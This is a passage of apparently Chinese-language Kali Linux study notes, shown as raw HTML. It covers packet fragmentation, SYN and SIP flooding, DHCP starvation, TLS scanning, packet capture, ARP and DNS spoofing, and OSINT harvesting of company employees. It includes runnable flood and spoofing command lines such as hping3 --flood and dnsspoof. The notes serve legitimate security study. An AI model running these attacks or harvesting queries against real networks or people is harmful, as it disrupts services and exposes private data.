class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eip_chaff dup 7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eip_frag 64 new\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edrop random 33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edup random 40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eorder random\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述配置文件中,第一行声明IP数据包应当重复交错。7表示生存事时间字段的值为7跳。这会使得数据包在传输的过程中丢失。第二行表示以64字节为单位对IP数据包进行分段。new表示让fragroutes使用新数据而不是旧数据对数据包进行重叠。有33%的情况将会丢弃数据包,有40%的情况会随机复制数据包。fragroute也会随机化数据包命中线缆的顺序,这意味着在理想情况下,它到达端点时,正确序列中将不存在任何内容。最后,print表示相关细节会被打印出来,说明对收到的数据包执行的操作。\u003c/p\u003e\u003cp\u003e将上述文件另存为\u003ccode\u003efrag.rules\u003c/code\u003e中,在终端中切换到该文件所在路径,并键入\u003ccode\u003efragroute -f frag.rules 192.168.5.40\u003c/code\u003e,回车,即可开始测试目标是否能正确处理错误的数据包。\u003c/p\u003e\u003cp\u003e上述指令中,\u003ccode\u003efrag.rules\u003c/code\u003e是配置文件名,\u003ccode\u003e192.168.5.40\u003c/code\u003e是发送乱码流量的目标地址。可以根据实际情况更改参数。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ehping3\u003c/strong\u003e 是一个压力测试工具,用于测试系统处理网络堆栈,硬件,传输层的能力。系统会为TCP连接保留一小块内存,一般很难发生溢出。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehping3 --flood -S -p 80 192.168.86.1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述指令演示了利用\u003ccode\u003ehping3\u003c/code\u003e进行SYN洪水测试的方法。\u003ccode\u003e-S\u003c/code\u003e表示SYN消息,\u003ccode\u003e-p 80\u003c/code\u003e表示80端口,\u003ccode\u003e--flood\u003c/code\u003e表示泛洪模式。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003einviteflood\u003c/strong\u003e 用于发动SIP洪水攻击。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einviteflood eth0 kilroy dummy.com 192.168.86.238 150000\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面表示,指定inviteflood作为发送信息的接口。接下来是用户名和相关域名,也可能是IP地址。\u003c/p\u003e\u003cp\u003e对于IPV6,Kali也提供了相应的测试工具:\u003cstrong\u003ena6,ns6,ra6,rs6,tcp6\u003c/strong\u003e等。\u003c/p\u003e\u003cp\u003e压力测试时,尽可能多地保留说明信息。\u003c/p\u003e\u003ch4 id=\"0x0212-拒绝服务工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x0212-%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"0x0212.拒绝服务工具\"\u003e\u003c/a\u003e0x0212.拒绝服务工具\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003eslowhttptest\u003c/strong\u003e Kali提供了其以模拟Slowris攻击。除此以外,它还可以发动R-U-Dead-Yet攻击、Apache Killer攻击等。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ethc-ssl-dos\u003c/strong\u003e 提供了基于SSL的压力测试。其基本想法是加密计算成本高昂,尤其在服务端更是如此。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eDHCPig\u003c/strong\u003e 可以发动DHCP攻击:在客户之前取得到期租约,以此耗尽DHCP服务器中可用的资源,让客户在无法获得IP的状态下处于离线状态。运行\u003ccode\u003epig.py\u003c/code\u003e选择目标即可。\u003c/p\u003e\u003ch3 id=\"0x023-加密测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x023-%E5%8A%A0%E5%AF%86%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x023.加密测试\"\u003e\u003c/a\u003e0x023.加密测试\u003c/h3\u003e\u003cp\u003e加密领域面对的挑战是:双方在不能面对面交流的时候,如何交换密钥来加密传递信息?这很困难。目前广泛使用的协议是TLS协议,即便如此,它也经过了数个版本的更迭。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003esslscan\u003c/strong\u003e 用于检查服务器是否使用过时协议。用法很简单:\u003ccode\u003esslscan [ip]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e输出结果将确定服务器是否会收到Heartbleed漏洞的攻击,该漏洞会针对服务器/客户端加密,导致密钥暴露给用户。同时,sslscan会为我们提供支持的密码列表。第一列表示协议和密码套件是否被接受以及他们是否为首选项。你会注意到TLS的每个版本都有自己的首选密码套件。第二列是协议和版本;接下来的列表示密钥强度。随后的列是密码套件,这称呼是因为它考虑了具有不同用途的多种算法。例如:\u003ccode\u003eDHE-RSA-AES256-SHA256\u003c/code\u003e,这表示它使用Diffie-Hellman方法进行临时的密钥交换。随后的RSA是一种非对称加密算法,用于验证通信的双方,因为密钥还存放在包含服务器验证信息的证书中。如果客户端也有该证书,则可以相互进行身份认证。否则,客户端可以根据要访问的主机名和证书中列出的主机名对服务器进行身份验证。非对称加密还用于加密客户端和服务器之间发送的密钥。\u003c/p\u003e\u003cp\u003eAES是加密会话的算法。这意味着用于会话的密钥是256位的。它是初始会话被派生和共享的密钥。如果会话持续的时间足够长,则可以重新创建会话密钥以防止密钥派生攻击。密钥被会话双方用于加密和解密。\u003c/p\u003e\u003cp\u003eSHA256算法用于验证数据是否被更改,和MD5类似。\u003c/p\u003e\u003cp\u003e所有这些算法构成TLS协议和之前的SSL协议。\u003c/p\u003e\u003cp\u003e如果输出中有类似3DES的内容,那么将会获得一个服务器会话密钥容易受到攻击的示例。这可能导致密钥泄露,继而相关的文件被解密成纯文本,造成信息泄露。\u003c/p\u003e\u003cp\u003e极个别情况下,我们可能在AES256的位置看到NULL值,这意味着请求没有使用加密协议。其原因较为复杂,可能是用户不太关心传输内容。\u003c/p\u003e\u003ch3 id=\"0x024-捕获数据包\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x024-%E6%8D%95%E8%8E%B7%E6%95%B0%E6%8D%AE%E5%8C%85\" class=\"headerlink\" title=\"0x024.捕获数据包\"\u003e\u003c/a\u003e0x024.捕获数据包\u003c/h3\u003e\u003cp\u003e事实上,我们所做的是捕获数据帧。因为我们捕获的层是OSI网络模型的第二层,第三层的数据则被称为数据包,第四层根据协议称为数据报文或段。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003etcpdump\u003c/strong\u003e 是Linux上的数据包捕获重程序。直接运行tcpdump会产生DNS请求和响应,它默认会将源地址和目标地址的IP转换为主机名,加上\u003ccode\u003e-n\u003c/code\u003e参数可以禁用该转换。\u003c/p\u003e\u003cp\u003e这程序还支持\u003ccode\u003e-v\u003c/code\u003e选项以显示更为详细的输出。同时,它支持多个\u003ccode\u003e-v\u003c/code\u003e选项,最详细的级别是\u003ccode\u003e-vvv\u003c/code\u003e。同时,使用\u003ccode\u003e-w [文件名]\u003c/code\u003e选项可以将数据帧捕获到数据包捕获(pcap)文件中,然后就可以将其导入其他工具进行分析。\u003c/p\u003e\u003cp\u003etcpdump的另一个重要特性就是伯克利数据包过滤器(BPF),这组字段允许用户对正在捕获的数据包做限定。用法是,在tcpdump指令后附加一系列参数,并用\u003ccode\u003eand\u003c/code\u003e或\u003ccode\u003eor\u003c/code\u003e等布尔逻辑词连接他们。支持的参数有:\u003ccode\u003eport [端口号]\u003c/code\u003e,\u003ccode\u003etcp/udp/icmp\u003c/code\u003e,\u003ccode\u003esrc host/dst host [主机名/IP]\u003c/code\u003e等一系列,详见\u003ccode\u003eman tcpdump\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e捕获完成后,需要对数据帧进行分析。你会发现这很麻烦,因为帧太多了。所以借助其他工具是十分必要的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eWireshark\u003c/strong\u003e 是最好的分析工具之一。它也可以捕获自身的数据包并存储并生成\u003ccode\u003epcap\u003c/code\u003e文件。它提供了一种深入挖掘数据包内容的方法,因此学习用它捕获数据包不是重点,用它分析数据包才是。\u003c/p\u003e\u003cp\u003e使用Follow TCP Stream,我们可以查找我们感兴趣的数据帧。它会为我们做大量的分析工作,比如将客户端数据标红,服务端数据标蓝,将校验和不匹配的数据包标黑等等。\u003c/p\u003e\u003cp\u003e同时,Wireshark还提供了统计菜单,其中包含协议层次结构的统计图。它有助于识别未知的协议,并确定使用频次最高的协议,以及定位攻击来源等。\u003c/p\u003e\u003cp\u003e这款软件在Kali上是开箱即用的,不过也可以安装到其他系统上。作为一个实用工具,它有很大的价值,值得我们仔细学习。\u003c/p\u003e\u003ch3 id=\"0x025-病毒攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x025-%E7%97%85%E6%AF%92%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"0x025.病毒攻击\"\u003e\u003c/a\u003e0x025.病毒攻击\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e其实和病毒没啥关系?\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e现如今,很多网络都是交换式的。你的设备只会把消息发送到收件人所在的网络端口。在过去,交换机是单拨设备,但是集线器是广播设备,我们会用集线器。进入集线器中的消息都会被发送到集线器中的其他端口,让端点根据MAC地址确定数据帧属于谁。集线器只是一个转发器。\u003c/p\u003e\u003cp\u003e交换机则会读取第二层的首部信息来确定MAC地址。他知道拥有该MAC地址系统所在的端口,它是通过监控每个端口的流量实现上述功能的。源主机的MAC地址会附加到端口上,交换机通常将映射存储到CAM(内容寻址存储器)中。交换机并不是必须扫描整个列表,而是直接引用MAC地址来查找详细信息。该内容成为交换机引用的地址以获取端口信息。\u003c/p\u003e\u003cp\u003e这意味着,你可以配置你所在网络的交换机,把流量从一个或多个端口发送到另一个端口。这是一面镜子,而不是重定向。收件人获取流量,而你也将获得数据包,从而可以从无权访问的系统中收集信息。这就是\u003cstrong\u003e欺骗攻击\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"ARP欺骗\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ARP%E6%AC%BA%E9%AA%97\" class=\"headerlink\" title=\"ARP欺骗\"\u003e\u003c/a\u003eARP欺骗\u003c/h4\u003e\u003cp\u003eARP(地址解析协议)是一种简单的协议。假定你的系统需要在网络上通信,但它只有IP地址,它会向网络发送(宿主)请求。具有这IP地址的系统将会通过天填写MAC来响应。然后你的系统会得知正确的MAC地址,并将其保存的消息发送到正确的目的地。\u003c/p\u003e\u003cp\u003e你的系统会缓存它所看到的所有映射以提高效率。ARP假设系统表明它拥有IP地址的唯一时间是在有人询问时,然而事实并非如此。如果我让系统发送ARP响应说我拥有你的IP地址,并且任何尝试访问该IP地址的人都应该发送到我的MAC地址,我就会收到本该发送给你的消息。通过发送一个ARP响应,声明你的IP地址在我的MAC地址上,就会把我置于通信双方的中间位置。不过这是单向的,如果我的MAC地址欺骗了你的IP地址,我只会收到应该给你的消息。\u003c/p\u003e\u003cp\u003e为了得到会话另一端的信息,我需要欺骗其他地址。比如你可以欺骗本地网关,以便捕获你与互联网之间的所有通信。需要注意的是消息只会发送给我,我还必须将消息转发给预期目标,否则通信就会停止,因为人们没有收到他们预计会收到的信息。这要求我们的系统将初始消息转发给被攻击目标。\u003c/p\u003e\u003cp\u003e因为ARP缓存会超时,如果我们没有继续让系统转发这些消息,最终缓存会超时,以至于我们无法获得我们想要的信息。这意味着需要继续发送这些消息,即未要求的ARP消息。它是一个尚未被请求单仍然提供的消息。这行为有合理的理由,但是\u003cstrong\u003e并不常见\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e我们将会使用\u003cstrong\u003eEttercap\u003c/strong\u003e,它支持基于CLI的GUI,或者WIndows风格的GUI。除了ARP攻击,它还支持其他类型的第二层攻击,比如DHCP中毒和ICMP重定向攻击。它们都是让你从本地网络的其他系统中获取数据流量的方法。\u003c/p\u003e\u003ch4 id=\"DNS欺骗\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#DNS%E6%AC%BA%E9%AA%97\" class=\"headerlink\" title=\"DNS欺骗\"\u003e\u003c/a\u003eDNS欺骗\u003c/h4\u003e\u003cp\u003e捕获本地网络(LAN)之外流量的一种方法是使用DNS欺骗攻击。在此攻击中,你会干扰DNS查找,以确保目标主机解析域名为IP地址时,目标将获取你提供的IP地址。这种攻击也称缓存中毒攻击。我们通常会利用目标附近的DNS服务器,这通常是一个缓存服务器。\u003c/p\u003e\u003cp\u003e一旦你能访问缓存服务器,就可以对缓存进行适当的修改,将目标转向你控制的系统。你还可以通过编辑缓存向其中添加不存在的条目。但这要求你破坏远程DNS服务器。\u003c/p\u003e\u003cp\u003e在LAN中,借助\u003cstrong\u003ednsspoof\u003c/strong\u003e程序,可以在本地模拟这一攻击。攻击者如果可以看到DNS请求,就可以捕获标识符并将其添加到攻击者提供的IP地址响应中。但是,要在交换式网络中做到这一点则需要额外步骤。\u003c/p\u003e\u003cp\u003e准备工作:你需要一个将IP地址映射到主机名的主机(hosts)文件。获得主机文件之后,就可以运行dnsspoof:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ednsspoof -i eth0 -f myhosts udp dst port 53\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003e-f\u003c/code\u003e选项引用了BPF来过滤捕获的数据包。同样,也可以借助Ettercap/arpspoof来完成这一点。\u003c/p\u003e\u003ch2 id=\"0x03-侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x03-%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"0x03.侦察\"\u003e\u003c/a\u003e0x03.侦察\u003c/h2\u003e\u003cp\u003e攻击之前,首先得确定攻击范围。就好比使用渗透工具时,得提供一组指定的参数。我们需要确定目标是什么,包括系统和人。为此,我们需要执行侦察任务。借助Kali的工具,我们可以大量收集关于公司及其员工的信息。\u003c/p\u003e\u003ch3 id=\"0x031-什么是侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x031-%E4%BB%80%E4%B9%88%E6%98%AF%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"0x031.什么是侦察\"\u003e\u003c/a\u003e0x031.什么是侦察\u003c/h3\u003e\u003cp\u003e它指一项\u003cstrong\u003e收集信息的初步调查\u003c/strong\u003e的活动。其定义一直以来都与军事活动有关系。收集信息时,最好\u003cstrong\u003e不要产生太多“噪声”\u003c/strong\u003e。我们需要在和目标保持一定距离的情况下收集信息。这需要灵活应对。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e关于OPeration SECurity(运营安全),二战期间有一个类似的说法:“口风不严会导致沉船”。也就是说,与任务相关的信息都必须保密,任何信息泄露都有可能危及运营。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e互联网的一个特点就是,你与其打交道的时间越长,留在它上面的信息就越多。这对于企业和个人都是如此。由于这些信息的重要性,已经产生了很多类似工具,使得我们可以更容易地获取它们。这不仅包含CLI工具,还包括网站,浏览器插件和其他程序。我们会关注一些Kali中可用的工具,以及一些可以添加到Firefox中的扩展。\u003c/p\u003e\u003ch3 id=\"0x032-开源智能工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x032-%E5%BC%80%E6%BA%90%E6%99%BA%E8%83%BD%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"0x032.开源智能工具\"\u003e\u003c/a\u003e0x032.开源智能工具\u003c/h3\u003e\u003cp\u003e如今,基本上所有人在互联网上都留有痕迹,即使不注册社交软件也是如此。首先是任何有手机号的人都可以通过互联网被找到。\u003c/p\u003e\u003cp\u003e开源智能指的是,你\u003cstrong\u003e从公共服务中找到的任何内容\u003c/strong\u003e。比如无论是否可能被视为公开的政府记录,被视为公开信息来源的邮件列表档案。开源一词,不仅仅适用于软件,也同样适用于其他信息。\u003c/p\u003e\u003cp\u003e搜索引擎为我们提供了大量信息,学习使用它的技巧有助于我们过滤无关信息以节省大量时间。\u003c/p\u003e\u003cp\u003e对于员工信息,\u003cstrong\u003eLinkedIn\u003c/strong\u003e网站可以识别公司及员工的大数据挖掘资源库。\u003cstrong\u003e求职网站\u003c/strong\u003e也可以提供相关公司的大量信息。通过公司的招聘岗位,可以分析公司的基础架构类型。Twitter/Facebook/微博等社交网站也可以提供某个公司及其员工的一些信息。\u003c/p\u003e\u003cp\u003eKali提供了检索这类信息的工具。程序可以自动从搜索引擎和其他Web网站提取大量信息。类似theHarvester这样的工具可以节省大量时间并且简单易用。Maltego这样的工具可以自动提取大量信息,并直观展示信息间的联系。\u003c/p\u003e\u003ch4 id=\"Google与黑客攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Google%E4%B8%8E%E9%BB%91%E5%AE%A2%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"Google与黑客攻击\"\u003e\u003c/a\u003eGoogle与黑客攻击\u003c/h4\u003e\u003cp\u003eGoogle搜索引擎提供了一组用户可以修改搜索请求的关键字,从而可以查看更紧凑的查询结果。这种搜索有时被称作Google Dorks,使用关键字识别特定页面的整个过程被称为Google Hacking。有下列关键词可用:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esite:keyword\u003c/code\u003e 匹配特定网站/域名,主机名可以省略。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efiletype:keyword\u003c/code\u003e 匹配文件类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003einurl:\u003c/code\u003e和\u003ccode\u003eintext:\u003c/code\u003e 第一个只搜素关键字相关的网址,第二个只显示包含搜索词的文本。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecache:\u003c/code\u003e 从Google的缓存中提取网页。它可以获取已经关闭的网站的数据。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e同时,可以使用\u003ccode\u003eAND\u003c/code\u003e和\u003ccode\u003eOR\u003c/code\u003e等布尔运算符来进一步组合限定搜索结果,还可以使用引号确保以正确的顺序获得单词模式。\u003c/p\u003e\u003ch4 id=\"自动化信息抓取\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BF%A1%E6%81%AF%E6%8A%93%E5%8F%96\" class=\"headerlink\" title=\"自动化信息抓取\"\u003e\u003c/a\u003e自动化信息抓取\u003c/h4\u003e\u003cp\u003e搜索十分耗时,Kali提供了一些工具来提高效率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003etheHarvester\u003c/code\u003e 它能够从多个数据源搜索信息,包括Google,Bing,LinkedIn,Twitter,PGP等。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etheharvester -d oreilly.com -b pgp \u003cspan class=\"comment\"\u003e# 搜索用域名oreilly.com注册的PGP密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etheharvester -d gmail.com -l 1000 -b linkedin \u003cspan class=\"comment\"\u003e# 搜索使用过Gmail的任何人\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要多次搜索,可以编写个小脚本来减轻工作量。下面的脚本通过命令行中的几个域名对多个数据源进行搜索。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e sys\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(sys.argv) \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sys.exit(-\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eproviders = [\u003cspan class=\"string\"\u003e\u0026#39;google\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;bing\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;linkedin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;pgp\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;google-profiles\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e a \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e providers:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#39;theharvester -d {0} -b {1} -f {2}.html\u0026#39;\u003c/span\u003e.\u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e(sys.argv[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], a, a)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的脚本对多个数据源进行搜索并将结果保存到相应的HTML文档中。\u003c/p\u003e\u003cp\u003eLinkedIn的数据(在国外)十分有用,因此我们使用\u003cstrong\u003eInSpy\u003c/strong\u003e对其进行检索:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einspy --empspy /usr/share/inspy/wordlists/title-list-large.txt oreilly\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eInSpy提供的单词列表只是由文本文件构成的。我们使用的是其中的头衔列表(title-list-large.txt)。你可以根据需要向其中添加关键字。\u003c/p\u003e\u003cp\u003e借助InSpy也能获取公司的技术列表:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan 